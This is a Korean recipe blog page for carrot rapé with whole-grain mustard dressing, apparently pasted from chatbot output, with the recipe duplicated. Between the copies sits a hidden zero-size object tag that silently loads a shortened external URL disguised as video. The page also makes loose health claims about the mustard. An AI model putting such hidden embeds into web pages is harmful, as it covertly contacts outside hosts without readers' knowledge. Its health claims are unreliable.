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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">입맛을 돋우는 상큼한 당근라페 만들기!</h2><p data-sourcepos="3:1-3:102"><strong>홀그레인 머스타드 소스</strong>로 더욱 풍미를 더한 당근라페 레시피를 알려드릴게요. 아삭아삭한 식감과 상큼한 맛이 일품인 당근라페는 다이어트 식단이나 간단한 밑반찬으로도 손색없답니다.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-14:0">
<li data-sourcepos="7:1-7:21"><strong>당근:</strong> 2~3개 (채 썰기)</li>
<li data-sourcepos="8:1-8:25"><strong>소금:</strong> 약간 (당근 절일 때 사용)</li>
<li data-sourcepos="9:1-9:17"><strong>올리브 오일:</strong> 3큰술</li>
<li data-sourcepos="10:1-10:14"><strong>레몬즙:</strong> 2큰술</li>
<li data-sourcepos="11:1-11:12"><strong>꿀:</strong> 1큰술</li>
<li data-sourcepos="12:1-12:20"><strong>홀그레인 머스타드:</strong> 1큰술</li>
<li data-sourcepos="13:1-14:0"><strong>소금, 후추:</strong> 약간 (기호에 따라)</li>
</ul><h3 data-sourcepos="15:1-15:9">만드는 법</h3><ol data-sourcepos="17:1-22:0">
<li data-sourcepos="17:1-17:68"><strong>당근 손질:</strong> 당근을 깨끗이 씻고 채 썰어줍니다. 너무 얇게 썰면 물이 많이 나오므로 적당한 두께로 썰어주세요.</li>
<li data-sourcepos="18:1-18:55"><strong>절이기:</strong> 채 썬 당근에 소금을 약간 뿌리고 골고루 버무린 후 10분 정도 절여줍니다.</li>
<li data-sourcepos="19:1-19:32"><strong>물기 제거:</strong> 절인 당근의 물기를 꼭 짜줍니다.</li>
<li data-sourcepos="20:1-20:71"><strong>소스 만들기:</strong> 볼에 올리브 오일, 레몬즙, 꿀, 홀그레인 머스타드, 소금, 후추를 넣고 잘 섞어 소스를 만듭니다.</li>
<li data-sourcepos="21:1-22:0"><strong>버무리기:</strong> 물기를 짠 당근에 만들어둔 소스를 넣고 버무려주면 완성!</li>
</ol><h3 data-sourcepos="23:1-23:5">팁</h3><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:69"><strong>당근 채 썰기:</strong> 채 썰기는 칼질이 어려울 수 있으므로 슬라이스한 후 얇게 채 썰거나, 채칼을 이용하면 편리합니다.</li>
<li data-sourcepos="26:1-26:68"><strong>소스 가감:</strong> 홀그레인 머스타드의 양을 조절하여 매운맛을 조절할 수 있습니다. 꿀 대신 설탕을 사용해도 좋습니다.</li>
<li data-sourcepos="27:1-28:0"><strong>다른 채소 첨가:</strong> 양파, 오이 등 다른 채소를 함께 넣어 다양한 맛을 즐길 수 있습니다.</li>
</ul><h3 data-sourcepos="29:1-29:20">홀그레인 머스타드 소스의 효과</h3><ul data-sourcepos="31:1-34:0">
<li data-sourcepos="31:1-31:71"><strong>풍미 증가:</strong> 홀그레인 머스타드는 톡 쏘는 맛과 함께 고소한 풍미를 더해줘 당근라페의 맛을 한층 더 깊게 만들어줍니다.</li>
<li data-sourcepos="32:1-32:59"><strong>소화 촉진:</strong> 홀그레인 머스타드에 함유된 디존 겨자는 소화를 돕고 입맛을 돋우는 효과가 있습니다.</li>
<li data-sourcepos="33:1-34:0"><strong>건강에도 좋아요:</strong> 홀그레인 머스타드는 비타민, 미네랄 등 다양한 영양소를 함유하고 있어 건강에도 좋습니다.</li>
</ul><h3 data-sourcepos="35:1-35:11">다양한 활용법</h3><ul data-sourcepos="37:1-40:0">
<li data-sourcepos="37:1-37:43"><strong>샐러드:</strong> 다른 샐러드와 함께 곁들여 먹으면 상큼한 맛을 더해줍니다.</li>
<li data-sourcepos="38:1-38:48"><strong>샌드위치:</strong> 샌드위치에 넣어 먹으면 아삭아삭한 식감과 함께 풍미를 더해줍니다.</li>
<li data-sourcepos="39:1-40:0"><strong>반찬:</strong> 밥과 함께 먹거나 고기 요리의 곁들임으로도 좋습니다.</li>
</ul><p data-sourcepos="41:1-41:43"><strong>간단하면서도 건강하고 맛있는 당근라페!</strong> 지금 바로 만들어 드셔보세요.</p><p data-sourcepos="43:1-43:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="45:1-45:35"><strong>당근라페 홀그레인머스타드 샐러드 레시피 건강식단</strong></p><hr data-sourcepos="47:1-47:3"><p data-sourcepos="49:1-49:33"><strong>이 외에도 궁금한 점이 있다면 언제든지 물어보세요!</strong></p><ul data-sourcepos="50:1-53:0">
<li data-sourcepos="50:1-50:23">더 자세한 레시피 설명이 필요하신가요?</li>
<li data-sourcepos="51:1-51:25">다른 종류의 샐러드 레시피가 궁금하신가요?</li>
<li data-sourcepos="52:1-53:0">다이어트 식단에 맞는 레시피를 추천해 드릴까요?</li>
</ul><p data-sourcepos="54:1-54:27"><strong>다양한 질문에 성심껏 답변해 드리겠습니다.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">입맛을 돋우는 상큼한 당근라페 만들기!</h2><p data-sourcepos="3:1-3:102"><strong>홀그레인 머스타드 소스</strong>로 더욱 풍미를 더한 당근라페 레시피를 알려드릴게요. 아삭아삭한 식감과 상큼한 맛이 일품인 당근라페는 다이어트 식단이나 간단한 밑반찬으로도 손색없답니다.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-14:0">
<li data-sourcepos="7:1-7:21"><strong>당근:</strong> 2~3개 (채 썰기)</li>
<li data-sourcepos="8:1-8:25"><strong>소금:</strong> 약간 (당근 절일 때 사용)</li>
<li data-sourcepos="9:1-9:17"><strong>올리브 오일:</strong> 3큰술</li>
<li data-sourcepos="10:1-10:14"><strong>레몬즙:</strong> 2큰술</li>
<li data-sourcepos="11:1-11:12"><strong>꿀:</strong> 1큰술</li>
<li data-sourcepos="12:1-12:20"><strong>홀그레인 머스타드:</strong> 1큰술</li>
<li data-sourcepos="13:1-14:0"><strong>소금, 후추:</strong> 약간 (기호에 따라)</li>
</ul><h3 data-sourcepos="15:1-15:9">만드는 법</h3><ol data-sourcepos="17:1-22:0">
<li data-sourcepos="17:1-17:68"><strong>당근 손질:</strong> 당근을 깨끗이 씻고 채 썰어줍니다. 너무 얇게 썰면 물이 많이 나오므로 적당한 두께로 썰어주세요.</li>
<li data-sourcepos="18:1-18:55"><strong>절이기:</strong> 채 썬 당근에 소금을 약간 뿌리고 골고루 버무린 후 10분 정도 절여줍니다.</li>
<li data-sourcepos="19:1-19:32"><strong>물기 제거:</strong> 절인 당근의 물기를 꼭 짜줍니다.</li>
<li data-sourcepos="20:1-20:71"><strong>소스 만들기:</strong> 볼에 올리브 오일, 레몬즙, 꿀, 홀그레인 머스타드, 소금, 후추를 넣고 잘 섞어 소스를 만듭니다.</li>
<li data-sourcepos="21:1-22:0"><strong>버무리기:</strong> 물기를 짠 당근에 만들어둔 소스를 넣고 버무려주면 완성!</li>
</ol><h3 data-sourcepos="23:1-23:5">팁</h3><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:69"><strong>당근 채 썰기:</strong> 채 썰기는 칼질이 어려울 수 있으므로 슬라이스한 후 얇게 채 썰거나, 채칼을 이용하면 편리합니다.</li>
<li data-sourcepos="26:1-26:68"><strong>소스 가감:</strong> 홀그레인 머스타드의 양을 조절하여 매운맛을 조절할 수 있습니다. 꿀 대신 설탕을 사용해도 좋습니다.</li>
<li data-sourcepos="27:1-28:0"><strong>다른 채소 첨가:</strong> 양파, 오이 등 다른 채소를 함께 넣어 다양한 맛을 즐길 수 있습니다.</li>
</ul><h3 data-sourcepos="29:1-29:20">홀그레인 머스타드 소스의 효과</h3><ul data-sourcepos="31:1-34:0">
<li data-sourcepos="31:1-31:71"><strong>풍미 증가:</strong> 홀그레인 머스타드는 톡 쏘는 맛과 함께 고소한 풍미를 더해줘 당근라페의 맛을 한층 더 깊게 만들어줍니다.</li>
<li data-sourcepos="32:1-32:59"><strong>소화 촉진:</strong> 홀그레인 머스타드에 함유된 디존 겨자는 소화를 돕고 입맛을 돋우는 효과가 있습니다.</li>
<li data-sourcepos="33:1-34:0"><strong>건강에도 좋아요:</strong> 홀그레인 머스타드는 비타민, 미네랄 등 다양한 영양소를 함유하고 있어 건강에도 좋습니다.</li>
</ul><h3 data-sourcepos="35:1-35:11">다양한 활용법</h3><ul data-sourcepos="37:1-40:0">
<li data-sourcepos="37:1-37:43"><strong>샐러드:</strong> 다른 샐러드와 함께 곁들여 먹으면 상큼한 맛을 더해줍니다.</li>
<li data-sourcepos="38:1-38:48"><strong>샌드위치:</strong> 샌드위치에 넣어 먹으면 아삭아삭한 식감과 함께 풍미를 더해줍니다.</li>
<li data-sourcepos="39:1-40:0"><strong>반찬:</strong> 밥과 함께 먹거나 고기 요리의 곁들임으로도 좋습니다.</li>
</ul><p data-sourcepos="41:1-41:43"><strong>간단하면서도 건강하고 맛있는 당근라페!</strong> 지금 바로 만들어 드셔보세요.</p><p data-sourcepos="43:1-43:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="45:1-45:35"><strong>당근라페 홀그레인머스타드 샐러드 레시피 건강식단</strong></p><hr data-sourcepos="47:1-47:3"><p data-sourcepos="49:1-49:33"><strong>이 외에도 궁금한 점이 있다면 언제든지 물어보세요!</strong></p><ul data-sourcepos="50:1-53:0">
<li data-sourcepos="50:1-50:23">더 자세한 레시피 설명이 필요하신가요?</li>
<li data-sourcepos="51:1-51:25">다른 종류의 샐러드 레시피가 궁금하신가요?</li>
<li data-sourcepos="52:1-53:0">다이어트 식단에 맞는 레시피를 추천해 드릴까요?</li>
</ul><p data-sourcepos="54:1-54:27"><strong>다양한 질문에 성심껏 답변해 드리겠습니다.</strong></p></div>
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